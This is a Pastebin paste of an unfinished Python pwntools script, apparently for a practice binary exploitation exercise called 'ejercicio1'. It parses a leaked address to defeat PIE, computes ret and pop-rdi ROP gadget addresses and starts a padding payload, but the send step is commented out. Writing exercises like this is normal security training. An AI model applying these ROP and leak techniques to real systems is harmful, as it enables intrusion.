Advertisement
Templario_7777

Ex_1

May 6th, 2022 (edited)
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.63 KB | None | 0 0
  1. #/usr/bin/python3
  2. from pwn import *
  3.  
  4. fileName = "./ejercicio1"
  5. e = ELF(fileName) #Checksec ejercicio1
  6.  
  7. gdbs = '''
  8.         b vuln
  9.  
  10.         '''
  11.  
  12. #p = process(fileName) # proceeso sin debug GDB
  13.  
  14. p = gdb.debug(fileName, gdbscript = gdbs) #Proceso con Debug GDB enviando un continue
  15.  
  16. p.recvuntil(b"Ya sabes que hacer:")
  17. leak = p.recvline().split(b"\n")
  18. leak = int(leak[0],16)
  19. vuln = 0x118d
  20. offset = leak - 0x118d
  21. ret = offset + 0x101a
  22. poprdi = offset + 0x1233
  23. #print (hex(leak))
  24. #print (hex(vuln))
  25.  
  26. #print (hex(offset))
  27.  
  28.  
  29. payload = b'A' * 17 # igual a \x41
  30.  
  31.  
  32.  
  33.  
  34. #print(p.recvuntil(b"18d"))
  35. #p.sendline(payload)
  36.  
  37. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement